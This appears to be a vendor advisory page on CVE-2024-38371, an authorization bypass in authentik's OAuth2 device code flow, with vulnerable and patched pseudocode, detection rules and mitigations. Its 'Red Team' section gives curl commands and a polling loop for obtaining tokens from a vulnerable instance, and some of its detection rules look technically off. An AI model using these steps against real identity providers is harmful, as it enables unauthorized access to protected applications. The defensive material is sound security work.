CVE-2024-38371
Executive Summary
CVE-2024-38371 is a critical authorization bypass vulnerability in authentik, an open-source Identity Provider. The flaw resides in the OAuth2 Device Code flow, where access restrictions assigned to an application are not properly validated. This allows an unauthenticated attacker to obtain OAuth tokens for any application, effectively bypassing all authorization policies. The vulnerability has a CVSS score of 8.6 (High) and affects all versions prior to the patched releases (2024.6.0, 2024.2.4, 2024.4.3). No public proof-of-concept or exploit code is currently available, but the risk is significant due to the potential for complete account takeover and lateral movement within an organization's identity infrastructure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects authentik, which is distributed as a Docker container and via source code. Organizations using authentik as their identity provider should treat this as a critical supply chain risk, as a compromised IdP can lead to cascading breaches across all connected applications. The patched versions must be deployed immediately to prevent exploitation.
CVSS Breakdown & Threat Level
- CVSS Score: 8.6 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The vulnerability is trivially exploitable over the network without any authentication or user interaction. Successful exploitation grants the attacker full access to any application protected by authentik, leading to complete compromise of confidentiality, integrity, and availability.
Deep Dive & Mechanics
The OAuth2 Device Code flow is designed for devices with limited input capabilities (e.g., smart TVs, CLI tools). The flow works as follows:
- The device requests a device code and user code from the authorization server.
- The user visits a URL on a separate device and enters the user code.
- The device polls the server until the user authorizes the request.
- The device receives an access token.
In authentik, the vulnerability exists because the authorization server does not check the application's access restrictions when processing the device code flow. Specifically, when a device requests a token via the device code grant, the server fails to verify whether the requesting device (or user) has the necessary permissions to access the target application. This means any unauthenticated user can initiate a device code flow for any application, and if the user authorizes it (or if the flow is automated), the attacker obtains a valid token.
The root cause is a missing authorization check in the DeviceCodeGrant handler. The code path that validates access restrictions for standard OAuth2 flows (authorization code, implicit) was not replicated for the device code flow.
Vulnerable vs. Patched Code
Vulnerable Code (simplified pseudocode):
def handle_device_code_request(client_id, scope):
# No check for application access restrictions
device_code = generate_device_code()
store_device_code(device_code, client_id, scope)
return device_code
Patched Code (simplified pseudocode):
def handle_device_code_request(client_id, scope):
application = get_application_by_client_id(client_id)
if not application:
raise InvalidClientError()
# NEW: Check access restrictions
if not check_access_restrictions(application, request.user):
raise AccessDeniedError()
device_code = generate_device_code()
store_device_code(device_code, client_id, scope)
return device_code
The patch adds a call to check_access_restrictions() before generating the device code, ensuring that only authorized users can initiate the flow for a given application.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target authentik instance (version < 2024.6.0, < 2024.2.4, < 2024.4.3)
- A valid OAuth2 client ID for a protected application (can be obtained from public documentation or reconnaissance)
Exploitation Steps:
Initiate Device Code Flow:
curl -X POST "https://target.authentik.example/application/o/device/" \ -d "client_id=YOUR_CLIENT_ID&scope=openid+profile+email"Response:
{ "device_code": "abc123", "user_code": "DEF-GHI", "verification_uri": "https://target.authentik.example/device", "interval": 5 }Poll for Token (Automated):
while true; do response=$(curl -s -X POST "https://target.authentik.example/application/o/token/" \ -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=abc123&client_id=YOUR_CLIENT_ID") if echo "$response" | grep -q "access_token"; then echo "Token obtained: $response" break fi sleep 5 doneUse Token to Access Protected Resources:
curl -H "Authorization: Bearer ACCESS_TOKEN" "https://target.authentik.example/api/v3/..."
Note: No public exploit code exists, but the above manual steps demonstrate the vulnerability.
Blue Team
Detection Steps:
- Monitor for unusual device code flow initiation attempts from unknown IPs.
- Look for rapid polling of the token endpoint with the same device code.
- Alert on successful token issuance via device code flow for applications that should not use this grant type.
Honeypot Setup:
- Create a fake application with a high-value name (e.g., "admin-panel") and monitor for device code flow attempts.
- Log all device code requests and correlate with user authentication events.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/application/o/device/withclient_idparameter - Repeated POST requests to
/application/o/token/withgrant_type=urn:ietf:params:oauth:grant-type:device_code - Unusual
user_codevalues (e.g., automated generation patterns)
- POST requests to
Log IOCs:
- authentik audit logs showing device code flow without prior user authentication
- Multiple failed token requests followed by a successful one from the same IP
- Device code flow for applications that typically use authorization code grant
System IOCs:
- Unexpected OAuth tokens in application logs
- New sessions from IPs not associated with legitimate users
Detection Engineering
YARA Rule
rule CVE_2024_38371_Authentik_DeviceCode {
meta:
description = "Detects exploitation attempts of CVE-2024-38371 in authentik logs"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-38371"
strings:
$device_code_request = "/application/o/device/"
$token_request = "/application/o/token/"
$grant_type_device = "grant_type=urn:ietf:params:oauth:grant-type:device_code"
$user_code_pattern = /user_code=[A-Z]{3}-[A-Z]{3}/
condition:
all of them
}
Sigma Rule
title: CVE-2024-38371 - Authentik Device Code Flow Abuse
id: 8f7b3a2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects exploitation of CVE-2024-38371 where access restrictions are bypassed via OAuth2 Device Code flow
author: Valters IT
logsource:
category: application
product: authentik
detection:
selection:
http.url|contains:
- "/application/o/device/"
- "/application/o/token/"
http.body|contains: "grant_type=urn:ietf:params:oauth:grant-type:device_code"
condition: selection
falsepositives:
- Legitimate device code flow usage for authorized devices
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2024-38371 - Authentik Device Code Flow Exploitation Attempt";
flow:to_server;
content:"/application/o/device/"; http_uri;
content:"client_id="; http_client_body;
content:"/application/o/token/"; http_uri;
content:"grant_type=urn:ietf:params:oauth:grant-type:device_code"; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade authentik to version 2024.6.0, 2024.2.4, or 2024.4.3 immediately.
- Disable Device Code Flow: If patching is not possible, disable the OAuth2 Device Code grant type for all applications in the authentik admin panel.
- Audit Tokens: Revoke all existing tokens issued via device code flow and force re-authentication.
Long-term Mitigations:
- Implement network segmentation to restrict access to the authentik API.
- Enable multi-factor authentication for all users.
- Monitor authentik logs for suspicious device code flow activity.
- Conduct regular security audits of OAuth2 configurations.
Workaround:
If patching is delayed, restrict the device_code grant type at the reverse proxy level:
location /application/o/device/ {
deny all;
return 403;
}
location /application/o/token/ {
if ($request_body ~* "grant_type=urn:ietf:params:oauth:grant-type:device_code") {
return 403;
}
}
Valters IT
DevSecOps & Cyber Threat Intelligence Expert